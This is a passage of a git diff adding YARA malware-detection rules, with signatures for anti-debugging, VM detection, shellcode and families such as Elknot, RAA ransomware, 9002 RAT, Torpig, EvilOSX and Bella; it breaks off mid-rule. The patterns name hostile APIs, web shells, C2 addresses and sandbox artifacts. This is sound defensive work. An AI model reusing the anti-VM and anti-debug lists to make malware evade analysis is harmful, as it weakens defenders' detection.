+		reference = "https://github.com/naxonez/yaraRules"
+		weight = 1
+	strings:
+		$ ="SetUnhandledExceptionFilter"
+	condition:
+		any of them
+}
+
+rule DebuggerException__ConsoleCtrl : AntiDebug DebuggerException {
+	meta:
+		author = "naxonez"
+		reference = "https://github.com/naxonez/yaraRules"
+		weight = 1
+	strings:
+		$ ="GenerateConsoleCtrlEvent"
+	condition:
+		any of them
+}
+
+rule DebuggerException__SetConsoleCtrl : AntiDebug DebuggerException {
+	meta:
+		author = "naxonez"
+		reference = "https://github.com/naxonez/yaraRules"
+		weight = 1
+	strings:
+		$ ="SetConsoleCtrlHandler"
+	condition:
+		any of them
+}
+
+///////////////////////////////////////////////////////////////////////////////
+rule ThreadControl__Context : AntiDebug ThreadControl {
+	meta:
+		author = "naxonez"
+		reference = "https://github.com/naxonez/yaraRules"
+		weight = 1
+	strings:
+		$ ="SetThreadContext"
+	condition:
+		any of them
+}
+
+rule DebuggerCheck__DrWatson : AntiDebug DebuggerCheck {
+	meta:
+		author = "naxonez"
+		reference = "https://github.com/naxonez/yaraRules"
+		weight = 1
+	strings:
+		$ ="__invoke__watson"
+	condition:
+		any of them
+}
+
+rule SEH__v3 : AntiDebug SEH {
+	meta:
+		author = "naxonez"
+		reference = "https://github.com/naxonez/yaraRules"
+		weight = 1
+	strings:
+		$ = "____except__handler3"
+		$ = "____local__unwind3"
+	condition:
+		any of them
+}
+
+rule SEH__v4 : AntiDebug SEH {
+    // VS 8.0+
+	meta:
+		author = "naxonez"
+		reference = "https://github.com/naxonez/yaraRules"
+		weight = 1
+	strings:
+		$ = "____except__handler4"
+		$ = "____local__unwind4"
+		$ = "__XcptFilter"
+	condition:
+		any of them
+}
+
+rule SEH__vba : AntiDebug SEH {
+	meta:
+		author = "naxonez"
+		reference = "https://github.com/naxonez/yaraRules"
+		weight = 1
+	strings:
+		$ = "vbaExceptHandler"
+	condition:
+		any of them
+}
+
+rule SEH__vectored : AntiDebug SEH {
+	meta:
+		author = "naxonez"
+		reference = "https://github.com/naxonez/yaraRules"
+		weight = 1
+	strings:
+		$ = "AddVectoredExceptionHandler"
+		$ = "RemoveVectoredExceptionHandler"
+	condition:
+		any of them
+}
+
+///////////////////////////////////////////////////////////////////////////// Patterns
+rule DebuggerPattern__RDTSC : AntiDebug DebuggerPattern {
+	meta:
+		author = "naxonez"
+		reference = "https://github.com/naxonez/yaraRules"
+		weight = 1
+	strings:
+		$ = {0F 31}
+	condition:
+		any of them
+}
+
+rule DebuggerPattern__CPUID : AntiDebug DebuggerPattern {
+	meta:
+		author = "naxonez"
+		reference = "https://github.com/naxonez/yaraRules"
+		weight = 1
+	strings:
+		$ = {0F A2}
+	condition:
+		any of them
+}
+
+rule DebuggerPattern__SEH_Saves : AntiDebug DebuggerPattern {
+	meta:
+		author = "naxonez"
+		reference = "https://github.com/naxonez/yaraRules"
+		weight = 1
+	strings:
+		$ = {64 ff 35 00 00 00 00}
+	condition:
+		any of them
+}
+
+rule DebuggerPattern__SEH_Inits : AntiDebug DebuggerPattern {
+	meta:
+		author = "naxonez"
+		reference = "https://github.com/naxonez/yaraRules"
+		weight = 1
+	strings:
+		$ = {64 89 25 00 00 00 00}
+	condition:
+		any of them
+}
+
diff --git a/yara-mikesxrs/netlab360/elknot_billgates.yar b/yara-mikesxrs/netlab360/elknot_billgates.yar
new file mode 100644
index 0000000..230a392
--- /dev/null
+++ b/yara-mikesxrs/netlab360/elknot_billgates.yar
@@ -0,0 +1,40 @@
+rule elknot_xor : ELF PE DDoS XOR BillGates  
+{
+meta:  
+    author = "liuya@360.cn"
+    description = "elknot/Billgates variants with XOR like C2 encryption scheme"
+	reference = "http://blog.netlab.360.com/new-elknot-billgates-variant-with-xor-like-c2-configuration-encryption-scheme/"
+    date = "2015-09-12"
+
+strings:  
+   //md5=474429d9da170e733213940acc9a2b1c
+   /*
+   seg000:08130801 68 00 09 13 08                push    offset dword_8130900
+   seg000:08130806 83 3D 30 17 13 08 02          cmp     ds:dword_8131730, 2
+   seg000:0813080D 75 07                         jnz     short loc_8130816
+   seg000:0813080F 81 04 24 00 01 00 00          add     dword ptr [esp], 100h
+   seg000:08130816               loc_8130816:                           
+   seg000:08130816 50                            push    eax
+   seg000:08130817 E8 15 00 00 00                call    sub_8130831
+   seg000:0813081C E9 C8 F6 F5 FF                jmp     near ptr 808FEE9h
+   */
+   $decrypt_c2_func_1 = {08 83 [5] 02 75 07 81 04 24 00 01 00 00 50 e8 [4] e9}
+
+   // md5=2579aa65a28c32778790ec1c673abc49
+   /*
+   .rodata:08104D20 E8 00 00 00 00                call    $+5
+   .rodata:08104D25 87 1C 24                      xchg    ebx, [esp+4+var_4] ;
+   .rodata:08104D28 83 EB 05                      sub     ebx, 5
+   .rodata:08104D2B 8D 83 00 FD FF FF             lea     eax, [ebx-300h]
+   .rodata:08104D31 83 BB 10 CA 02 00 02          cmp   dword ptr [ebx+2CA10h], 2
+   .rodata:08104D38 75 05                         jnz     short loc_8104D3F
+   .rodata:08104D3A 05 00 01 00 00                add     eax, 100h
+   .rodata:08104D3F               loc_8104D3F:                           
+   .rodata:08104D3F 50                            push    eax
+   .rodata:08104D40 FF 74 24 10                   push    [esp+8+strsVector]
+   */
+   $decrypt_c2_func_2 = {e8 00 00 00 00 87 [2] 83 eb 05 8d 83 [4] 83 bb [4] 02 75 05}
+
+condition:  
+    1 of ($decrypt_c2_func_*)
+}
diff --git a/yara-mikesxrs/nex/embedded_macho.yar b/yara-mikesxrs/nex/embedded_macho.yar
new file mode 100644
index 0000000..d5e6fab
--- /dev/null
+++ b/yara-mikesxrs/nex/embedded_macho.yar
@@ -0,0 +1,15 @@
+// Copyright (C) 2013 Claudio "nex" Guarnieri
+
+rule embedded_macho
+{
+    meta:
+        author = "nex"
+        description = "Contains an embedded Mach-O file"
+
+    strings:
+        $magic1 = { ca fe ba be }
+        $magic2 = { ce fa ed fe }
+        $magic3 = { fe ed fa ce }
+    condition:
+        any of ($magic*) and not ($magic1 at 0) and not ($magic2 at 0) and not ($magic3 at 0)
+}
diff --git a/yara-mikesxrs/nex/embedded_pe.yar b/yara-mikesxrs/nex/embedded_pe.yar
new file mode 100644
index 0000000..1aade7d
--- /dev/null
+++ b/yara-mikesxrs/nex/embedded_pe.yar
@@ -0,0 +1,15 @@
+// Copyright (C) 2013 Claudio "nex" Guarnieri
+
+rule embedded_pe
+{
+    meta:
+        author = "nex"
+        description = "Contains an embedded PE32 file"
+
+    strings:
+        $a = "PE32"
+        $b = "This program"
+        $mz = { 4d 5a }
+    condition:
+        ($a and $b) and not ($mz at 0)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/nex/embedded_win_api.yar b/yara-mikesxrs/nex/embedded_win_api.yar
new file mode 100644
index 0000000..2c8d474
--- /dev/null
+++ b/yara-mikesxrs/nex/embedded_win_api.yar
@@ -0,0 +1,29 @@
+// Copyright (C) 2013 Claudio "nex" Guarnieri
+
+
+rule embedded_win_api
+{
+    meta:
+        author = "nex"
+        description = "A non-Windows executable contains win32 API functions names"
+
+    strings:
+        $mz = { 4d 5a }
+        $api1 = "CreateFileA"
+        $api2 = "GetProcAddress"
+        $api3 = "LoadLibraryA"
+        $api4 = "WinExec"
+        $api5 = "GetSystemDirectoryA"
+        $api6 = "WriteFile"
+        $api7 = "ShellExecute"
+        $api8 = "GetWindowsDirectory"
+        $api9 = "URLDownloadToFile"
+        $api10 = "IsBadReadPtr"
+        $api11 = "IsBadWritePtr"
+        $api12 = "SetFilePointer"
+        $api13 = "GetTempPath"
+        $api14 = "GetWindowsDirectory"
+    condition:
+        not ($mz at 0) and any of ($api*)
+}
+ 
\ No newline at end of file
diff --git a/yara-mikesxrs/nex/nex_index.yara b/yara-mikesxrs/nex/nex_index.yara
new file mode 100644
index 0000000..a7b3748
--- /dev/null
+++ b/yara-mikesxrs/nex/nex_index.yara
@@ -0,0 +1,164 @@
+// Copyright (C) 2013 Claudio "nex" Guarnieri
+
+rule embedded_macho
+{
+    meta:
+        author = "nex"
+        description = "Contains an embedded Mach-O file"
+
+    strings:
+        $magic1 = { ca fe ba be }
+        $magic2 = { ce fa ed fe }
+        $magic3 = { fe ed fa ce }
+    condition:
+        any of ($magic*) and not ($magic1 at 0) and not ($magic2 at 0) and not ($magic3 at 0)
+}
+
+
+// Copyright (C) 2013 Claudio "nex" Guarnieri
+
+rule embedded_pe
+{
+    meta:
+        author = "nex"
+        description = "Contains an embedded PE32 file"
+
+    strings:
+        $a = "PE32"
+        $b = "This program"
+        $mz = { 4d 5a }
+    condition:
+        ($a and $b) and not ($mz at 0)
+}
+
+// Copyright (C) 2013 Claudio "nex" Guarnieri
+
+
+rule embedded_win_api
+{
+    meta:
+        author = "nex"
+        description = "A non-Windows executable contains win32 API functions names"
+
+    strings:
+        $mz = { 4d 5a }
+        $api1 = "CreateFileA"
+        $api2 = "GetProcAddress"
+        $api3 = "LoadLibraryA"
+        $api4 = "WinExec"
+        $api5 = "GetSystemDirectoryA"
+        $api6 = "WriteFile"
+        $api7 = "ShellExecute"
+        $api8 = "GetWindowsDirectory"
+        $api9 = "URLDownloadToFile"
+        $api10 = "IsBadReadPtr"
+        $api11 = "IsBadWritePtr"
+        $api12 = "SetFilePointer"
+        $api13 = "GetTempPath"
+        $api14 = "GetWindowsDirectory"
+    condition:
+        not ($mz at 0) and any of ($api*)
+}
+ 
+ 
+ // Copyright (C) 2013 Claudio "nex" Guarnieri
+
+rule vmdetect
+{
+    meta:
+        author = "nex"
+        description = "Possibly employs anti-virtualization techniques"
+
+    strings:
+        // Binary tricks
+        $vmware = {56 4D 58 68}
+        $virtualpc = {0F 3F 07 0B}
+        $ssexy = {66 0F 70 ?? ?? 66 0F DB ?? ?? ?? ?? ?? 66 0F DB ?? ?? ?? ?? ?? 66 0F EF}
+        $vmcheckdll = {45 C7 00 01}
+        $redpill = {0F 01 0D 00 00 00 00 C3}
+
+        // Random strings
+        $vmware1 = "VMXh"
+        $vmware2 = "Ven_VMware_" nocase
+        $vmware3 = "Prod_VMware_Virtual_" nocase
+        $vmware4 = "hgfs.sys" nocase
+        $vmware5 = "mhgfs.sys" nocase
+        $vmware6 = "prleth.sys" nocase
+        $vmware7 = "prlfs.sys" nocase
+        $vmware8 = "prlmouse.sys" nocase
+        $vmware9 = "prlvideo.sys" nocase
+        $vmware10 = "prl_pv32.sys" nocase
+        $vmware11 = "vpc-s3.sys" nocase
+        $vmware12 = "vmsrvc.sys" nocase
+        $vmware13 = "vmx86.sys" nocase
+        $vmware14 = "vmnet.sys" nocase
+        $vmware15 = "vmicheartbeat" nocase
+        $vmware16 = "vmicvss" nocase
+        $vmware17 = "vmicshutdown" nocase
+        $vmware18 = "vmicexchange" nocase
+        $vmware19 = "vmdebug" nocase
+        $vmware20 = "vmmouse" nocase
+        $vmware21 = "vmtools" nocase
+        $vmware22 = "VMMEMCTL" nocase
+        $vmware23 = "vmx86" nocase
+        $vmware24 = "vmware" nocase
+        $virtualpc1 = "vpcbus" nocase
+        $virtualpc2 = "vpc-s3" nocase
+        $virtualpc3 = "vpcuhub" nocase
+        $virtualpc4 = "msvmmouf" nocase
+        $xen1 = "xenevtchn" nocase
+        $xen2 = "xennet" nocase
+        $xen3 = "xennet6" nocase
+        $xen4 = "xensvc" nocase
+        $xen5 = "xenvdb" nocase
+        $xen6 = "XenVMM" nocase
+        $virtualbox1 = "VBoxHook.dll" nocase
+        $virtualbox2 = "VBoxService" nocase
+        $virtualbox3 = "VBoxTray" nocase
+        $virtualbox4 = "VBoxMouse" nocase
+        $virtualbox5 = "VBoxGuest" nocase
+        $virtualbox6 = "VBoxSF" nocase
+        $virtualbox7 = "VBoxGuestAdditions" nocase
+        $virtualbox8 = "VBOX HARDDISK"  nocase
+
+        // MAC addresses
+        $vmware_mac_1a = "00-05-69"
+        $vmware_mac_1b = "00:05:69"
+        $vmware_mac_1c = "000569"
+        $vmware_mac_2a = "00-50-56"
+        $vmware_mac_2b = "00:50:56"
+        $vmware_mac_2c = "005056"
+        $vmware_mac_3a = "00-0C-29" nocase
+        $vmware_mac_3b = "00:0C:29" nocase
+        $vmware_mac_3c = "000C29" nocase
+        $vmware_mac_4a = "00-1C-14" nocase
+        $vmware_mac_4b = "00:1C:14" nocase
+        $vmware_mac_4c = "001C14" nocase
+        $virtualbox_mac_1a = "08-00-27"
+        $virtualbox_mac_1b = "08:00:27"
+        $virtualbox_mac_1c = "080027"
+
+    condition:
+        any of them
+}
+
+import "pe"
+
+rule shellcode
+{
+    meta:
+        author = "nex"
+        description = "Matched shellcode byte patterns"
+        modified = "Glenn Edwards (@hiddenillusion)"
+    strings:
+        $s0 = { 64 8b 64 }
+        $s1 = { 64 a1 30 }
+        $s2 = { 64 8b 15 30 }
+        $s3 = { 64 8b 35 30 }
+        $s4 = { 55 8b ec 83 c4 }
+        $s5 = { 55 8b ec 81 ec }
+        $s6 = { 55 8b ec e8 }
+        $s7 = { 55 8b ec e9 }
+    condition:
+        for any of ($s*) : ($ at pe.entry_point)	
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/nex/shellcode.yar b/yara-mikesxrs/nex/shellcode.yar
new file mode 100644
index 0000000..0bb4d54
--- /dev/null
+++ b/yara-mikesxrs/nex/shellcode.yar
@@ -0,0 +1,20 @@
+import "pe"
+
+rule shellcode
+{
+    meta:
+        author = "nex"
+        description = "Matched shellcode byte patterns"
+        modified = "Glenn Edwards (@hiddenillusion)"
+    strings:
+        $s0 = { 64 8b 64 }
+        $s1 = { 64 a1 30 }
+        $s2 = { 64 8b 15 30 }
+        $s3 = { 64 8b 35 30 }
+        $s4 = { 55 8b ec 83 c4 }
+        $s5 = { 55 8b ec 81 ec }
+        $s6 = { 55 8b ec e8 }
+        $s7 = { 55 8b ec e9 }
+    condition:
+        for any of ($s*) : ($ at pe.entry_point)    
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/nex/vm_detect.yar b/yara-mikesxrs/nex/vm_detect.yar
new file mode 100644
index 0000000..9927229
--- /dev/null
+++ b/yara-mikesxrs/nex/vm_detect.yar
@@ -0,0 +1,80 @@
+ // Copyright (C) 2013 Claudio "nex" Guarnieri
+
+rule vmdetect
+{
+    meta:
+        author = "nex"
+        description = "Possibly employs anti-virtualization techniques"
+
+    strings:
+        // Binary tricks
+        $vmware = {56 4D 58 68}
+        $virtualpc = {0F 3F 07 0B}
+        $ssexy = {66 0F 70 ?? ?? 66 0F DB ?? ?? ?? ?? ?? 66 0F DB ?? ?? ?? ?? ?? 66 0F EF}
+        $vmcheckdll = {45 C7 00 01}
+        $redpill = {0F 01 0D 00 00 00 00 C3}
+
+        // Random strings
+        $vmware1 = "VMXh"
+        $vmware2 = "Ven_VMware_" nocase
+        $vmware3 = "Prod_VMware_Virtual_" nocase
+        $vmware4 = "hgfs.sys" nocase
+        $vmware5 = "mhgfs.sys" nocase
+        $vmware6 = "prleth.sys" nocase
+        $vmware7 = "prlfs.sys" nocase
+        $vmware8 = "prlmouse.sys" nocase
+        $vmware9 = "prlvideo.sys" nocase
+        $vmware10 = "prl_pv32.sys" nocase
+        $vmware11 = "vpc-s3.sys" nocase
+        $vmware12 = "vmsrvc.sys" nocase
+        $vmware13 = "vmx86.sys" nocase
+        $vmware14 = "vmnet.sys" nocase
+        $vmware15 = "vmicheartbeat" nocase
+        $vmware16 = "vmicvss" nocase
+        $vmware17 = "vmicshutdown" nocase
+        $vmware18 = "vmicexchange" nocase
+        $vmware19 = "vmdebug" nocase
+        $vmware20 = "vmmouse" nocase
+        $vmware21 = "vmtools" nocase
+        $vmware22 = "VMMEMCTL" nocase
+        $vmware23 = "vmx86" nocase
+        $vmware24 = "vmware" nocase
+        $virtualpc1 = "vpcbus" nocase
+        $virtualpc2 = "vpc-s3" nocase
+        $virtualpc3 = "vpcuhub" nocase
+        $virtualpc4 = "msvmmouf" nocase
+        $xen1 = "xenevtchn" nocase
+        $xen2 = "xennet" nocase
+        $xen3 = "xennet6" nocase
+        $xen4 = "xensvc" nocase
+        $xen5 = "xenvdb" nocase
+        $xen6 = "XenVMM" nocase
+        $virtualbox1 = "VBoxHook.dll" nocase
+        $virtualbox2 = "VBoxService" nocase
+        $virtualbox3 = "VBoxTray" nocase
+        $virtualbox4 = "VBoxMouse" nocase
+        $virtualbox5 = "VBoxGuest" nocase
+        $virtualbox6 = "VBoxSF" nocase
+        $virtualbox7 = "VBoxGuestAdditions" nocase
+        $virtualbox8 = "VBOX HARDDISK"  nocase
+
+        // MAC addresses
+        $vmware_mac_1a = "00-05-69"
+        $vmware_mac_1b = "00:05:69"
+        $vmware_mac_1c = "000569"
+        $vmware_mac_2a = "00-50-56"
+        $vmware_mac_2b = "00:50:56"
+        $vmware_mac_2c = "005056"
+        $vmware_mac_3a = "00-0C-29" nocase
+        $vmware_mac_3b = "00:0C:29" nocase
+        $vmware_mac_3c = "000C29" nocase
+        $vmware_mac_4a = "00-1C-14" nocase
+        $vmware_mac_4b = "00:1C:14" nocase
+        $vmware_mac_4c = "001C14" nocase
+        $virtualbox_mac_1a = "08-00-27"
+        $virtualbox_mac_1b = "08:00:27"
+        $virtualbox_mac_1c = "080027"
+
+    condition:
+        any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/nshadov/RANSOMWARE_RAA.yar b/yara-mikesxrs/nshadov/RANSOMWARE_RAA.yar
new file mode 100644
index 0000000..0431b73
--- /dev/null
+++ b/yara-mikesxrs/nshadov/RANSOMWARE_RAA.yar
@@ -0,0 +1,22 @@
+rule RANSOMWARE_RAA {
+
+	meta:
+		description = "Identifes samples containing JS dropper similar to RAA ransomware."
+		author = "nshadov"
+		reference = "https://malwr.com/analysis/YmE4MDNlMzk2MjY3NDdlYWE1NzFiOTNlYzVhZTlkM2Y/"
+		date = "2016-06-15"
+		hash = "535494aa6ce3ccef7346b548da5061a9"
+		far = "unknown"
+		frr = "unknown"
+		
+	strings:
+		$sp0 = "CryptoJS.AES.decrypt" fullword ascii
+		$sp1 = "RAA-SEP" fullword ascii
+		$sb0 = "ActiveXObject(\"Scriptlet.TypeLib\")" fullword ascii
+		$sb1 = "ActiveXObject(\"Scripting.FileSystemObject\")" fullword ascii
+		$sb2 = "WScript.CreateObject(\"WScript.Shell\");" fullword ascii
+		
+	condition:
+		filesize > 10KB and filesize < 800KB and ( (all of ($sp*)) or ( (all of ($sb*)) and 1 of ($sp*) ) )
+		
+	}
\ No newline at end of file
diff --git a/yara-mikesxrs/one offs/9002Rat.yar b/yara-mikesxrs/one offs/9002Rat.yar
new file mode 100644
index 0000000..948a6dd
--- /dev/null
+++ b/yara-mikesxrs/one offs/9002Rat.yar	
@@ -0,0 +1,16 @@
+rule MPAMedia9002_dll
+{
+    meta:
+        decription = "9002 trojan family, MPAMedia.dll"
+        author = "HPSR"
+        reference = "E48A4CB7325ADCB38127A95AD47CD24D"
+        reference2 = "https://community.saas.hpe.com/t5/Security-Research/9002-RAT-a-second-building-on-the-left/ba-p/228686#.WaBdzB9ifW8"
+        date = "11/8/2016"
+    strings:
+        $opCode010 = {8D 45 ?? C7 45 ?? 56 69 72 74 33 DB C7 45 ?? 75 61 6C 50 50}
+        $opCode060 = {C7 45 ?? 72 6F 74 65 66 C7 45 ?? 63 74 88 5D ?? C7 45 ?? 6B 65 72 6E}
+        $opCode100 = {C7 45 ?? 65 6C 33 32 88 5D ?? C7 45 ?? 47 65 74 53 C7 45 ?? 79 73 74 65}
+        $opCode140 = {c7 45 ?? 6D 54 69 6D 66 C7 ?? EC 65 00}
+    condition:
+        all of them
+}
diff --git a/yara-mikesxrs/one offs/AdwindRat.yar b/yara-mikesxrs/one offs/AdwindRat.yar
new file mode 100644
index 0000000..d625826
--- /dev/null
+++ b/yara-mikesxrs/one offs/AdwindRat.yar	
@@ -0,0 +1,14 @@
+rule Adwind
+{
+      meta:
+        author="Asaf Aprozper, asafa AT minerva-labs.com"
+        description = "Adwind RAT"
+        last modified = "2017-06-25"
+        reference = "https://minerva-labs.com/post/adwind-and-other-evasive-java-rats"
+strings:
+        $a0 = "META-INF/MANIFEST.MF"
+        $a1 = /Main(\$)Q[0-9][0-9][0-9][0-9]/
+        $PK = "PK"
+condition:
+        $PK at 0 and $a0 and $a1
+}
diff --git a/yara-mikesxrs/one offs/CVE-2013-3660.yar b/yara-mikesxrs/one offs/CVE-2013-3660.yar
new file mode 100644
index 0000000..e32ea10
--- /dev/null
+++ b/yara-mikesxrs/one offs/CVE-2013-3660.yar	
@@ -0,0 +1,22 @@
+rule Windows_0day_Exploit_Developers_1 {
+        meta: description = "Windows 0day EPATHOBJ local ring0 Exploit - Developer Names" score = 60
+        strings:
+        $a = "taviso" fullword
+        $b = "cmpxchg8b" fullword
+        $c = "programmeboy" fullword
+        condition:
+        all of them
+}
+
+rule Windows_0day_Exploit_1 {
+        meta: description = "Windows 0day EPATHOBJ local ring0 Exploit" score = 70
+        strings:
+        $a = "PATHRECORD" fullword
+        $b = "HRGN" fullword
+        $c = "FlattenPath" fullword
+        $d = "EndPath" fullword
+        $e = "PolyDraw" fullword
+
+        condition:
+        all of them
+}
diff --git a/yara-mikesxrs/one offs/ComputraceAgent.yar b/yara-mikesxrs/one offs/ComputraceAgent.yar
new file mode 100644
index 0000000..4721411
--- /dev/null
+++ b/yara-mikesxrs/one offs/ComputraceAgent.yar	
@@ -0,0 +1,21 @@
+ rule bad_ComputraceAgent
+{
+  meta:
+    description = "Absolute Computrace Agent Lacking Hardcoded Domain"
+    reference = "https://pastebin.com/u/dgallagher"
+    thread_level = 3
+    in_the_wild = true
+
+  strings:
+    $a = { D1 E0 F5 8B 4D 0C 83 D1 00 8B EC FF 33 83 C3 04 }
+    $b1 = { 72 70 63 6E 65 74 70 2E 65 78 65 00 72 70 63 6E 65 74 70 00 }
+    $b2 = { 54 61 67 49 64 00 }
+
+    $domain = { c6 d0 d4 c7 d6 dd 9b db d4 d8 d0 c4 c0 d0 c7 cc 9b d6 da d8 } // search.namequery.com XOR 0xb5
+
+  condition:
+    uint16(0) == 0x5a4d and
+    filesize < 20KB and
+    ($a or ($b1 and $b2))
+    and not $domain
+}
diff --git a/yara-mikesxrs/one offs/CoreFlood_ldr.yar b/yara-mikesxrs/one offs/CoreFlood_ldr.yar
new file mode 100644
index 0000000..cc92ca3
--- /dev/null
+++ b/yara-mikesxrs/one offs/CoreFlood_ldr.yar	
@@ -0,0 +1,31 @@
+rule CoreFlood_ldr_strings
+{
+  meta:
+ author = "Brian Baskin"
+ date = "13 Feb 14"
+ comment = "CoreFlood Trojan Loader Strings"
+ reference = "http://www.ghettoforensics.com/2014/02/malware-with-no-strings-attached-part-2.html"
+
+  strings:
+ $RegKey = "MlLrqtuhA3x0WmjwNM27"
+ $API = "3etProcAddr"
+
+  condition:
+ all of them
+}
+
+rule CoreFlood_ldr_decoder
+{
+  meta:
+ author = "Brian Baskin"
+ date = "13 Feb 14"
+ comment = "CoreFlood? Trojan Loader Decoding Keys"
+ reference = "http://www.ghettoforensics.com/2014/02/malware-with-no-strings-attached-part-2.html"
+
+  strings:
+ $Sub_85BA = { 81 EA BA 85 00 00 }
+ $XOR_85BC= { 05 BC 85 00 00 }
+
+  condition:
+ all of them
+}
diff --git a/yara-mikesxrs/one offs/Cridex.yar b/yara-mikesxrs/one offs/Cridex.yar
new file mode 100644
index 0000000..9304565
--- /dev/null
+++ b/yara-mikesxrs/one offs/Cridex.yar	
@@ -0,0 +1,13 @@
+
+rule Malware_Cridex_Generic {
+meta:
+        description = "Cridex Generic"
+        author = "Yara Bulk Rule Generator"
+        hash = "ab0e2cbca1434ab87e8cb81f97180292"
+strings:
+        $s1 = /[Cc]:\\([a-zA-Z]{4,10}\\|)([a-zA-Z]{4,10}\\|)([a-zA-Z]{4,10}\\|)[a-zA-Z]{4,10}\\[a-zA-Z]{4,10}/ fullword
+        $s2 = /[Cc]:\\([a-zA-Z]{4,10}\\|)([a-zA-Z]{4,10}\\|)([a-zA-Z]{4,10}\\|)[a-zA-Z]{4,10}\\[a-zA-Z]{4,10}.[a-z]{3}/ fullword
+        $s3 = /[Cc]:\\[a-zA-Z]{4,10}\\[a-zA-Z]{4,10}/ fullword
+condition:
+        ( #s1 > 4 and #s1 < 8 ) and ( #s2 > 1 and #s2 < 5 ) and ( #s3 > 4 and #s3 < 8 ) and filesize < 200KB
+}
diff --git a/yara-mikesxrs/one offs/Hancidoc_Dropper.yar b/yara-mikesxrs/one offs/Hancidoc_Dropper.yar
new file mode 100644
index 0000000..5d2c756
--- /dev/null
+++ b/yara-mikesxrs/one offs/Hancidoc_Dropper.yar	
@@ -0,0 +1,14 @@
+rule Hancidoc : Dropper
+{
+	meta:
+		author="moutonplacide"
+		date="2016-11-23"
+		description="Hancitor document dropper"
+
+	strings:
+		$doc = {d0 cf 11 e0 a1 b1 1a e1 00 00} /* DOC Header */
+        	$author = "Kimberly"
+	        $pe_marker = /[A-Z]{8}\x08\x00/ /*STARFALL / FORTINET marker*/
+	condition:
+		($doc at 0) and ($author and $pe_marker)
+}
diff --git a/yara-mikesxrs/one offs/Mebroot_Torpig.yar b/yara-mikesxrs/one offs/Mebroot_Torpig.yar
new file mode 100644
index 0000000..82ff709
--- /dev/null
+++ b/yara-mikesxrs/one offs/Mebroot_Torpig.yar	
@@ -0,0 +1,17 @@
+rule Mebroot_Torpig
+{
+ meta:
+  author = "perpetualhorizon"
+  reference = "https://perpetualhorizon.blogspot.com/2010/05/trip-down-memory-lane-with-torpig-part.html"
+ strings:
+  $a = "[avorp1_251]" fullword
+  $b = "Temp\\$$$dq3e" fullword
+  $c = "Temp$67we.$" fullword
+  $d = "Temp\\xsw2" fullword
+  $e = "controlpanel r57shell.php c99shell" fullword
+  $f = "66.135.61.80" fullword
+  $g = "72.51.34.52" fullword
+
+ condition:
+  any of them
+}
diff --git a/yara-mikesxrs/one offs/OSX_Malware.yar b/yara-mikesxrs/one offs/OSX_Malware.yar
new file mode 100644
index 0000000..7e28714
--- /dev/null
+++ b/yara-mikesxrs/one offs/OSX_Malware.yar	
@@ -0,0 +1,112 @@
+rule OSX_backdoor_EvilOSX 
+{
+    meta:
+        description = "EvilOSX MacOS/OSX backdoor"
+        author = "John Lambert @JohnLaTwC"
+        reference = "https://github.com/Marten4n6/EvilOSX, https://twitter.com/JohnLaTwC/status/966139336436498432"
+        date = "2018-02-23"
+        hash = "89e5b8208daf85f549d9b7df8e2a062e47f15a5b08462a4224f73c0a6223972a"
+
+    strings:
+        $h1 = /#!\/usr\/bin\/env\s+python/
+        $s0 = "import base64" fullword ascii
+        $s1 = "b64decode" fullword ascii
+
+        //strings present in decoded python script:
+        $x0 = "EvilOSX" fullword ascii
+        $x1 = "get_launch_agent_directory" fullword ascii
+
+        //Base64 encoded versions of these strings
+        //EvilOSX
+        $enc_x0 = /(AHYAaQBsAE8AUwBYA|dmlsT1NY|RQB2AGkAbABPAFMAWA|RXZpbE9TW|UAdgBpAGwATwBTAFgA|V2aWxPU1)/ ascii
+        
+        //get_launch_agent_directory
+        $enc_x1 = /(AGUAdABfAGwAYQB1AG4AYwBoAF8AYQBnAGUAbgB0AF8AZABpAHIAZQBjAHQAbwByAHkA|cAZQB0AF8AbABhAHUAbgBjAGgAXwBhAGcAZQBuAHQAXwBkAGkAcgBlAGMAdABvAHIAeQ|dldF9sYXVuY2hfYWdlbnRfZGlyZWN0b3J5|Z2V0X2xhdW5jaF9hZ2VudF9kaXJlY3Rvcn|ZwBlAHQAXwBsAGEAdQBuAGMAaABfAGEAZwBlAG4AdABfAGQAaQByAGUAYwB0AG8AcgB5A|ZXRfbGF1bmNoX2FnZW50X2RpcmVjdG9ye)/ ascii
+
+    condition:
+        $h1 at 0
+        and filesize < 30KB 
+        and all of ($s*)
+        and 
+            1 of ($x*)
+            or 1 of ($enc_x*)
+}
+
+rule OSX_backdoor_Bella
+{
+    meta:
+        description = "Bella MacOS/OSX backdoor"
+        author = "John Lambert @JohnLaTwC"
+        reference = "https://twitter.com/JohnLaTwC/status/911998777182924801"
+        date = "2018-02-23"
+        hash = "4288a81779a492b5b02bad6e90b2fa6212fa5f8ee87cc5ec9286ab523fc02446 cec7be2126d388707907b4f9d681121fd1e3ca9f828c029b02340ab1331a5524 e1cf136be50c4486ae8f5e408af80b90229f3027511b4beed69495a042af95be"
+
+    strings:
+        $h1 = /#!\/usr\/bin\/env\s+python/
+
+        //prereqs
+        $s0 = "subprocess" fullword ascii
+        $s1 = "import sys" fullword ascii
+        $s2 = "shutil" fullword ascii
+
+        $p0 = "create_bella_helpers" fullword ascii
+        $p1 = "is_there_SUID_shell" fullword ascii
+        $p2 = "BELLA IS NOW RUNNING" fullword ascii
+        $p3 = "SELECT * FROM bella WHERE id" fullword ascii
+
+        $subpart1_a = "inject_payloads" fullword ascii
+        $subpart1_b = "check_if_payloads" fullword ascii
+        $subpart1_c = "updateDB" fullword ascii
+
+        $subpart2_a = "appleIDPhishHelp" fullword ascii
+        $subpart2_b = "appleIDPhish" fullword ascii
+        $subpart2_c = "iTunes" fullword ascii
+    condition:
+        $h1 at 0
+        and filesize < 120KB 
+        and @s0[1] < 100
+        and @s1[1] < 100
+        and @s2[1] < 100
+        and 
+            1 of ($p*)
+            or all of ($subpart1_*)
+            or all of ($subpart2_*)
+}
+
+
+rule persistence_agent_macos
+{
+    meta:
+        hash = "4288a81779a492b5b02bad6e90b2fa6212fa5f8ee87cc5ec9286ab523fc02446 cec7be2126d388707907b4f9d681121fd1e3ca9f828c029b02340ab1331a5524 e1cf136be50c4486ae8f5e408af80b90229f3027511b4beed69495a042af95be"
+
+    strings:
+        $h1 = "#!/usr/bin/env python"
+        $s_1= "<plist" ascii fullword
+        $s_2= "ProgramArguments" ascii fullword
+        $s_3= "Library" ascii fullword
